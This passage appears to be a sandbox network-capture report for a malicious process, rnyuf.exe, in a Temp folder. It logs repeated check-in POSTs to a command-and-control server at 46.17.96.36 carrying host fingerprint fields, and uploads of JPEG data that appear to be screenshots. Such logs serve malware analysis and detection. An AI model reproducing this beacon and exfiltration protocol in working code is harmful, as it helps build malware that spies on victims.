Aug 29, 2021 22:27:44.768354893 CEST	9162	OUT	Data Raw: ff 00 0a eb c5 7e 5e 7c cf 9f 6e 3a e7 ca 38 a8 aa b9 92 5e 66 94 e5 ca db 3b 78 8d ff 00 8e ae 25 95 6e e6 b1 d0 23 72 91 88 4e d9 2e 48 ea 49 ec 3f cf 5a 98 78 0b c3 6c cc 96 93 4d 0d d2 7f cb 48 6e 89 91 4f af 7f e5 4e b1 f3 bf e1 56 47 fd 97 Data Ascii: ~^\|n:8^f;x%n#rN.HI?ZxlMHnONVG?'gwc9ktBg>c?s]49*rQv:9]H9+Gh+_SAJ\8%_oGZ(1ATY%oW/,98]?R,'{5
Aug 29, 2021 22:27:44.886362076 CEST	9195	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:27:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
89	192.168.2.4	49827	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:27:44.719124079 CEST	9097	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 46.17.96.36 Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Aug 29, 2021 22:27:44.797847986 CEST	9173	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:27:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
9	192.168.2.4	49744	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:27:12.341972113 CEST	1989	OUT	POST /k8FppT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----6f2b8ec125833bffe61c308b0401688c Host: 46.17.96.36 Content-Length: 107127 Cache-Control: no-cache
Aug 29, 2021 22:27:12.342061043 CEST	1989	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 36 66 32 62 38 65 63 31 32 35 38 33 33 62 66 66 65 36 31 63 33 30 38 62 30 34 30 31 36 38 38 63 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------6f2b8ec125833bffe61c308b0401688cContent-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Aug 29, 2021 22:27:12.342262983 CEST	1999	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Aug 29, 2021 22:27:12.342380047 CEST	2002	OUT	Data Raw: 28 a0 06 e3 14 94 fa 31 45 82 e3 29 71 ed 4e 2b 48 45 2b 0e e3 68 22 97 14 51 60 b8 dc 50 69 71 45 03 1b 8e 69 71 4b 45 20 b8 da 4c 53 b1 46 28 b0 c6 e2 8c 53 b1 49 4a c1 71 39 a3 9a 31 46 28 18 94 52 d1 cd 20 1a 68 c5 2d 14 0c 6d 14 ea 28 01 a6 Data Ascii: (1E)qN+HE+h"Q`PiqEiqKE LSF(SIJq91F(R h-m(R(RJZ((,QN4X.%-sNBJ\QLJ)h4wSZu_>:0}7{S:r^#(psQ3\zyjf-N~ck
Aug 29, 2021 22:27:12.374804974 CEST	2005	OUT	Data Raw: 14 4e 49 3f af e4 6b c5 3e 37 7f c9 47 97 fe bd 62 fe 55 ef 1a 0f 87 5f 4e b9 9b 52 d4 6e 7e d9 aa dc 0c 49 36 30 a8 bf dd 51 d8 7f 9e 2b c1 fe 36 ff 00 c9 47 9b fe bd a2 fe 55 cd cd 1e 68 c2 2e e9 2d ce 95 19 72 ca 72 56 6d ec 79 cd 2d 1c d1 cd Data Ascii: NI?k>7GbU_NRn~I60Q+6GUh.-rrVmy-j@QE{G`i.tt{>`o;g8k<)rQXTnAA\so&?!l9+J')^?G+?j:S7?tj?f
Aug 29, 2021 22:27:12.374846935 CEST	2013	OUT	Data Raw: 71 e8 69 3e c7 75 f6 98 6d be cb 3f 9f 38 43 14 5e 59 dd 20 7c 6d da 31 93 9c 8c 63 ae 6b 27 46 32 77 6f 52 d5 59 25 64 8f a0 f5 8f 88 1f 0f 13 c2 5a ed 8e 91 a9 e2 e6 f6 c6 68 51 3c 8b 8f 9d cc 6c 14 65 97 03 96 f6 af 9d 2a 79 ad 2e ad e1 86 69 Data Ascii: qi>um?8C^Y \|m1ck'F2woRY%dZhQ<le*y.i)yO$eVM\q$:&"[1I-$"&$1@UFL)QG4Z9)QERRR({sLJQKH(f@w(OxG?+,k4ja'P@9oa
Aug 29, 2021 22:27:12.374861002 CEST	2014	OUT	Data Raw: 9f 7e e3 de bd 0a cb c6 cc be 2f 6b 7b b9 91 b4 bb f4 47 b3 90 0c 04 c8 c0 cf e3 90 73 d0 8a f3 6f f8 47 35 cf fa 02 ea 3f f8 0a ff 00 e1 52 1d 0b c4 0d 02 42 da 3e a2 51 09 2a 0d ab f1 9e bd bd 85 7a f5 f0 f8 7a ce ed ad ad fd 7a 1e 3d 0c 46 22 Data Ascii: ~/k{GsoG5?RB>Q*zzz=F"O{^U#ZxbATd0RGc_>)vz("<KNkKqvFvaqRiAQH((ZJ`R1@QE(((RE-((v)
Aug 29, 2021 22:27:12.374886036 CEST	2022	OUT	Data Raw: 94 65 79 2b 6b 6b 2b fa 11 d2 d2 52 d7 a0 78 e2 d1 49 4b 9a 00 ea 3e 1d 3a c5 f1 0b 45 91 d8 2a 2d c6 59 98 e0 01 83 c9 af a8 bf b6 34 cf fa 09 59 ff 00 df f4 ff 00 1a f8 d6 8e d5 85 5a 3c ee f7 36 a7 5b 91 5a c7 d9 3f db 1a 5f fd 04 ec bf f0 21 Data Ascii: ey+kk+RxIK>:E*-Y4YZ<6[Z?_!?gJ'<167g11XV dkSESV1>wpJZQ@z(0)h=6NXWde)bCgCEM})6-\|Rz<EevJ)hBR
Aug 29, 2021 22:27:12.376157999 CEST	2027	OUT	Data Raw: f4 b5 ad fd 75 3d b2 d3 5b b7 d7 e1 f0 fd f4 18 05 af 19 64 8f 39 28 e2 de 6c 8f f3 da bc 5b e3 3f fc 94 39 bf eb da 2f e5 5d 27 80 ee 58 f8 d6 ce 18 8b 25 b4 92 49 27 95 9c 80 44 52 01 f9 06 23 35 cd fc 65 ff 00 92 87 37 fd 7b c5 ff 00 a0 d7 95 Data Ascii: u=[d9(l[?9/]'X%I'DR#5e7{ZP[[gBs{GRKE%;oij}p&kN^.MH/<[B"<c/ci7qZ[S,*{{{KO^gr.ry/(A}+!76
Aug 29, 2021 22:27:12.407655001 CEST	2033	OUT	Data Raw: db 47 8e 09 21 7b 57 b9 cb 36 65 79 23 75 7d bf 2b a6 fc 06 c1 c8 ce 46 18 8a ae ba db 9f 11 69 3a c9 b3 20 e9 c9 68 a2 1f 37 fd 67 90 aa 3e f6 38 dd b7 d0 e3 3d e9 c1 d6 be bd ff 00 0d 45 35 47 5b 7f 5b 17 f5 2d 06 da 0f 0a da 6a 96 73 4d 25 d6 Data Ascii: G!{W6ey#u}+Fi: h7g>8=E5G[[-jsM%$ N+8@nf7muxuydTK<& L6G42E#K3jP{;GwR7`+,PPt*NOJ-KV-?3a:X2IM3
Aug 29, 2021 22:27:12.407895088 CEST	2048	OUT	Data Raw: 54 8e cc dc 87 52 90 74 94 fe 75 a3 06 ab 70 3f e5 a9 35 ca 23 94 61 5a 76 ce 49 ae 5a b8 78 5b 63 d1 c3 63 6a 37 6b 9d 47 88 27 79 bc 15 23 b7 52 6b c7 e5 3f 31 af 56 d7 1f 1e 03 6f f7 ab c9 64 ea 69 65 8a d4 e5 ea 77 e3 f5 ab 16 fb 23 da 74 67 Data Ascii: TRtup?5#aZvIZx[ccj7kG'y#Rk?1Vodiew#tg<J):\P3EgyWNO;Qdoi_qT=iv_FL.PR_^Ei%CVUR[.},s2hwalT-a:pcqWdTSin$<
Aug 29, 2021 22:27:12.513272047 CEST	2096	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:27:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
90	192.168.2.4	49828	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:27:44.935471058 CEST	9196	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 46.17.96.36 Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Aug 29, 2021 22:27:45.009419918 CEST	9196	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:27:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
91	192.168.2.4	49829	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:27:45.120871067 CEST	9197	OUT	POST /k8FppT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----2527d6ee36e5d91ced907633b787976c Host: 46.17.96.36 Content-Length: 110710 Cache-Control: no-cache
Aug 29, 2021 22:27:45.120940924 CEST	9197	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 32 35 32 37 64 36 65 65 33 36 65 35 64 39 31 63 65 64 39 30 37 36 33 33 62 37 38 37 39 37 36 63 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------2527d6ee36e5d91ced907633b787976cContent-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Aug 29, 2021 22:27:45.121165037 CEST	9207	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Aug 29, 2021 22:27:45.121269941 CEST	9210	OUT	Data Raw: 28 a0 06 e3 14 94 fa 31 45 82 e3 29 71 ed 4e 2b 48 45 2b 0e e3 68 22 97 14 51 60 b8 dc 50 69 71 45 03 1b 8e 69 71 4b 45 20 b8 da 4c 53 b1 46 28 b0 c6 e2 8c 53 b1 49 4a c1 71 39 a3 9a 31 46 28 18 94 52 d1 cd 20 1a 68 c5 2d 14 0c 6d 14 ea 28 01 a6 Data Ascii: (1E)qN+HE+h"Q`PiqEiqKE LSF(SIJq91F(R h-m(R(RJZ((,QN4X.%-sNBJ\QLJ)h4wSZu_>:0}7{S:r^#(psQ3\zyjf-N~ck
Aug 29, 2021 22:27:45.154658079 CEST	9218	OUT	Data Raw: 14 4e 49 3f af e4 6b c5 3e 37 7f c9 47 97 fe bd 62 fe 55 ef 1a 0f 87 5f 4e b9 9b 52 d4 6e 7e d9 aa dc 0c 49 36 30 a8 bf dd 51 d8 7f 9e 2b c1 fe 36 ff 00 c9 47 9b fe bd a2 fe 55 cd cd 1e 68 c2 2e e9 2d ce 95 19 72 ca 72 56 6d ec 79 cd 2d 1c d1 cd Data Ascii: NI?k>7GbU_NRn~I60Q+6GUh.-rrVmy-j@QE{G`i.tt{>`o;g8k<)rQXTnAA\so&?!l9+J')^?G+?j:S7?tj?f
Aug 29, 2021 22:27:45.154912949 CEST	9233	OUT	Data Raw: 24 05 14 62 8c 52 18 62 83 4b 48 69 88 4a 28 a2 90 c4 34 52 d2 e2 80 1b 8a 29 d8 a4 a0 04 14 b4 86 96 80 12 96 93 bd 2f 6a 00 28 a2 8a 00 29 45 27 7a 5e d4 00 51 47 6a 05 31 0b 45 14 50 20 a2 96 8a 60 14 b4 52 53 10 51 45 2d 00 14 b4 51 40 0b 45 Data Ascii: $bRbKHiJ(4R)/j()E'z^QGj1EP `RSQE-Q@E(QE--)(P)ZZJQS4Z(dKIKL)hRP)xQuU3N%@ip34$S4iSdUA5.6Sbj}+"zc4Z2c1J.=-.(p
Aug 29, 2021 22:27:45.155014038 CEST	9235	OUT	Data Raw: c9 6e 8e 78 21 1e b4 a1 71 5b de 5d b3 75 41 49 f6 3b 56 f6 a3 d8 8f eb 2b aa 30 f1 4e 03 35 b2 74 d8 8f dd 62 29 87 4a 3d 9c 7e 22 8f 64 d0 7d 62 06 5e da 70 15 7c e9 92 8e 98 35 1b 58 cc bc ed a3 91 87 b5 8b ea 56 c5 2e 2a 53 6e e3 aa 9a 6f 96 Data Ascii: nx!q[]uAI;V+0N5tb)J=~"d}b^p\|5XV.SnoGo(OhNT7O)UCeANO3+<]S<y^G^]*chT)Fc)K\|]j}(BK,K\S&Kp+b1Eq1Y
Aug 29, 2021 22:27:45.188471079 CEST	9244	OUT	Data Raw: db 47 8e 09 21 7b 57 b9 cb 36 65 79 23 75 7d bf 2b a6 fc 06 c1 c8 ce 46 18 8a ae ba db 9f 11 69 3a c9 b3 20 e9 c9 68 a2 1f 37 fd 67 90 aa 3e f6 38 dd b7 d0 e3 3d e9 c1 d6 be bd ff 00 0d 45 35 47 5b 7f 5b 17 f5 2d 06 da 0f 0a da 6a 96 73 4d 25 d6 Data Ascii: G!{W6ey#u}+Fi: h7g>8=E5G[[-jsM%$ N+8@nf7muxuydTK<& L6G42E#K3jP{;GwR7`+,PPt*NOJ-KV-?3a:X2IM3
Aug 29, 2021 22:27:45.188586950 CEST	9265	OUT	Data Raw: e1 0a 50 29 45 2d 32 4b 3a 7b 2c 57 d1 bb b0 55 19 c9 3f 43 5d 64 37 b7 97 1a 7b da c1 73 3c b6 48 c1 de 24 90 98 d5 8f 42 40 e0 1e 0f 3e d5 c4 9a ed be 1e fc 41 ff 00 84 13 fb 47 fe 25 7f 6e fb 6f 95 ff 00 2f 1e 56 cd 9b ff 00 d9 6c e7 7f b7 4a Data Ascii: P)E-2K:{,WU?C]d7{s<H$B@>AG%no/VlJ)j:QI/ntMb^.$N\E:x\|nTc#RIUZcN1s^jay'P{l3xD!\|8;RIU
Aug 29, 2021 22:27:45.188836098 CEST	9278	OUT	Data Raw: 4e 02 80 38 a7 01 4c 86 ce 97 c2 6b 98 f5 1f fa e4 3f 91 ae 74 f0 ed f5 ae a7 c1 f1 ee 83 53 3f f4 cb fa 1a e6 18 7c c7 eb 5c 14 25 fb fa 8b d0 ea ae ad 42 0f d4 6d 18 a5 c5 18 ae db 9c 37 12 9c 28 c5 00 50 20 a5 a5 c5 2e 3d aa 5b 10 98 a3 14 f0 Data Ascii: N8Lk?tS?\|\%Bm7(P .=[xF?AR[i?CU?H=9WeImd[k4>f)w5X*sJ1]/f@7yZKI/&:Z{77?/mZ_Z+
Aug 29, 2021 22:27:45.188925982 CEST	9281	OUT	Data Raw: cd a4 33 55 43 2d 31 a5 a3 98 6a 91 6c cf 51 b4 f5 51 a6 a8 5a 7a 97 34 8d 63 44 b6 f3 fb d4 0f 3f bd 54 79 8d 40 f3 56 32 aa 74 42 89 69 e7 f7 aa af 35 40 d2 d4 2d 25 73 ce a9 d3 0a 56 25 79 32 6a 26 7c d4 45 e9 bb ab 07 3b 9d 0a 16 1e ed 51 16 Data Ascii: 3UC-1jlQQZz4cD?Ty@V2tBi5@-%sV%y2j&\|E;Qe)F"4Av)hh,&RPFURKI5/'G1e a@x9'-/&pRwg5Ua^W4-rVzVbKLex_c[cI?xM{d,6
Aug 29, 2021 22:27:45.295049906 CEST	9308	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:27:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
92	192.168.2.4	49830	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:27:45.161400080 CEST	9236	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 46.17.96.36 Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Aug 29, 2021 22:27:45.242002964 CEST	9308	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:27:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
93	192.168.2.4	49831	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:27:45.407157898 CEST	9309	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 46.17.96.36 Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Aug 29, 2021 22:27:45.485354900 CEST	9310	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:27:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
94	192.168.2.4	49832	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:27:45.512695074 CEST	9310	OUT	POST /k8FppT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----2527d6ee36e5d91ced907633b787976c Host: 46.17.96.36 Content-Length: 110710 Cache-Control: no-cache
Aug 29, 2021 22:27:45.512759924 CEST	9310	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 32 35 32 37 64 36 65 65 33 36 65 35 64 39 31 63 65 64 39 30 37 36 33 33 62 37 38 37 39 37 36 63 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------2527d6ee36e5d91ced907633b787976cContent-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Aug 29, 2021 22:27:45.512928009 CEST	9320	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Aug 29, 2021 22:27:45.513029099 CEST	9323	OUT	Data Raw: 28 a0 06 e3 14 94 fa 31 45 82 e3 29 71 ed 4e 2b 48 45 2b 0e e3 68 22 97 14 51 60 b8 dc 50 69 71 45 03 1b 8e 69 71 4b 45 20 b8 da 4c 53 b1 46 28 b0 c6 e2 8c 53 b1 49 4a c1 71 39 a3 9a 31 46 28 18 94 52 d1 cd 20 1a 68 c5 2d 14 0c 6d 14 ea 28 01 a6 Data Ascii: (1E)qN+HE+h"Q`PiqEiqKE LSF(SIJq91F(R h-m(R(RJZ((,QN4X.%-sNBJ\QLJ)h4wSZu_>:0}7{S:r^#(psQ3\zyjf-N~ck
Aug 29, 2021 22:27:45.547804117 CEST	9326	OUT	Data Raw: 14 4e 49 3f af e4 6b c5 3e 37 7f c9 47 97 fe bd 62 fe 55 ef 1a 0f 87 5f 4e b9 9b 52 d4 6e 7e d9 aa dc 0c 49 36 30 a8 bf dd 51 d8 7f 9e 2b c1 fe 36 ff 00 c9 47 9b fe bd a2 fe 55 cd cd 1e 68 c2 2e e9 2d ce 95 19 72 ca 72 56 6d ec 79 cd 2d 1c d1 cd Data Ascii: NI?k>7GbU_NRn~I60Q+6GUh.-rrVmy-j@QE{G`i.tt{>`o;g8k<)rQXTnAA\so&?!l9+J')^?G+?j:S7?tj?f
Aug 29, 2021 22:27:45.547848940 CEST	9329	OUT	Data Raw: 71 e8 69 3e c7 75 f6 98 6d be cb 3f 9f 38 43 14 5e 59 dd 20 7c 6d da 31 93 9c 8c 63 ae 6b 27 46 32 77 6f 52 d5 59 25 64 8f a0 f5 8f 88 1f 0f 13 c2 5a ed 8e 91 a9 e2 e6 f6 c6 68 51 3c 8b 8f 9d cc 6c 14 65 97 03 96 f6 af 9d 2a 79 ad 2e ad e1 86 69 Data Ascii: qi>um?8C^Y \|m1ck'F2woRY%dZhQ<le*y.i)yO$eVM\q$:&"[1I-$"&$1@UFL)QG4Z9)QERRR({sLJQKH(f@w(OxG?+,k4ja'P@9oa
Aug 29, 2021 22:27:45.547863960 CEST	9334	OUT	Data Raw: ba 35 bf 88 de d6 e3 7c 45 70 f3 c4 b7 53 79 90 27 f7 5b 23 71 5f e2 0b 81 d3 0d 24 13 e8 cb e3 9f 08 c7 71 a7 6a 32 5f 79 1a 58 13 47 7c 89 10 3b 23 c6 63 30 93 c7 71 bf 9f 6a f3 61 0c 7e 94 a2 14 03 00 70 69 c6 8c 93 bd fa df f3 ff 00 30 9d 65 Data Ascii: 5\|EpSy'[#q_$qj2_yXG\|;#c0qja~pi0e+hwxv+u0\?U?]Lo.<N\|Wr6D$?m9A8q/A=*VVbMobiGFb)\|lJ(EQ!EPIKI@QQbQ@
Aug 29, 2021 22:27:45.548204899 CEST	9343	OUT	Data Raw: 9f 7e e3 de bd 0a cb c6 cc be 2f 6b 7b b9 91 b4 bb f4 47 b3 90 0c 04 c8 c0 cf e3 90 73 d0 8a f3 6f f8 47 35 cf fa 02 ea 3f f8 0a ff 00 e1 52 1d 0b c4 0d 02 42 da 3e a2 51 09 2a 0d ab f1 9e bd bd 85 7a f5 f0 f8 7a ce ed ad ad fd 7a 1e 3d 0c 46 22 Data Ascii: ~/k{GsoG5?RB>Q*zzz=F"O{^U#ZxbATd0RGc_>)vz("<KNkKqvFvaqRiAQH((ZJ`R1@QE(((RE-((v)
Aug 29, 2021 22:27:45.548228025 CEST	9348	OUT	Data Raw: f4 b5 ad fd 75 3d b2 d3 5b b7 d7 e1 f0 fd f4 18 05 af 19 64 8f 39 28 e2 de 6c 8f f3 da bc 5b e3 3f fc 94 39 bf eb da 2f e5 5d 27 80 ee 58 f8 d6 ce 18 8b 25 b4 92 49 27 95 9c 80 44 52 01 f9 06 23 35 cd fc 65 ff 00 92 87 37 fd 7b c5 ff 00 a0 d7 95 Data Ascii: u=[d9(l[?9/]'X%I'DR#5e7{ZP[[gBs{GRKE%;oij}p&kN^.MH/<[B"<c/ci7qZ[S,*{{{KO^gr.ry/(A}+!76
Aug 29, 2021 22:27:45.583421946 CEST	9351	OUT	Data Raw: db 47 8e 09 21 7b 57 b9 cb 36 65 79 23 75 7d bf 2b a6 fc 06 c1 c8 ce 46 18 8a ae ba db 9f 11 69 3a c9 b3 20 e9 c9 68 a2 1f 37 fd 67 90 aa 3e f6 38 dd b7 d0 e3 3d e9 c1 d6 be bd ff 00 0d 45 35 47 5b 7f 5b 17 f5 2d 06 da 0f 0a da 6a 96 73 4d 25 d6 Data Ascii: G!{W6ey#u}+Fi: h7g>8=E5G[[-jsM%$ N+8@nf7muxuydTK<& L6G42E#K3jP{;GwR7`+,PPt*NOJ-KV-?3a:X2IM3
Aug 29, 2021 22:27:45.583470106 CEST	9354	OUT	Data Raw: 53 15 1b 68 d6 d2 72 8f 8a af ac 47 a9 5c ac e6 68 ad e9 3c 3c df c0 ea 6a ac 9a 25 ca 74 5c 8f 6a b5 5a 0f a8 9a 6b 74 65 d2 d5 97 b0 b8 8f ac 6c 3f 0a 81 a2 71 d5 4d 5a 92 62 19 9a 5a 31 8a 00 aa 10 52 e6 92 81 40 0e 06 9d 9a 65 38 75 a6 48 f0 Data Ascii: ShrG\h<<j%t\jZktel?qMZbZ1R@e8uHjqGTY&1{3IN4,}RZJZJ)h@J(4Q@hQ(Q@Q@SiGZ-QM(R)@8pN"1NWbHJm<MK)#)i8R1E^)hh
Aug 29, 2021 22:27:45.691963911 CEST	9423	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:27:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
95	192.168.2.4	49833	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:27:45.628518105 CEST	9422	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 46.17.96.36 Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Aug 29, 2021 22:27:45.704760075 CEST	9423	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:27:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
